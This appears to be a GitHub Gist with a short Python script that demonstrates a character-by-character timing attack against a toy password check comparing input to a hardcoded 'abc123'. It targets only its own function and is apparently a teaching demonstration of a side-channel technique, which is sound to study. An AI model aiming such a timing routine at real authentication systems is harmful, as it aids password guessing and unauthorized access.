Last active
March 4, 2026 18:49
-
-
Save olooney/b50e7a2b9a2bccafeb33daaeeb8fe82c to your computer and use it in GitHub Desktop.
Attempts a timing attack on the Python string comparison operator
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import time | |
| import string | |
| def check_password(password): | |
| return password == "abc123" | |
| alphabet = string.ascii_letters + string.digits | |
| def measure(pwd, n=1_000_000): | |
| start = time.perf_counter() | |
| for _ in range(n): | |
| check_password(pwd) | |
| return (time.perf_counter() - start) / n | |
| def timing_attack(max_len=6): | |
| guess = "" | |
| for pos in range(max_len): | |
| timings = [] | |
| for c in alphabet: | |
| candidate = guess + c + "A" * (max_len - pos - 1) | |
| t = measure(candidate) | |
| timings.append((t, c)) | |
| timings.sort(reverse=True) | |
| best = timings[0][1] | |
| guess += best | |
| print(f"Position {pos}: best='{best}' current_guess='{guess}'") | |
| return guess |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Result: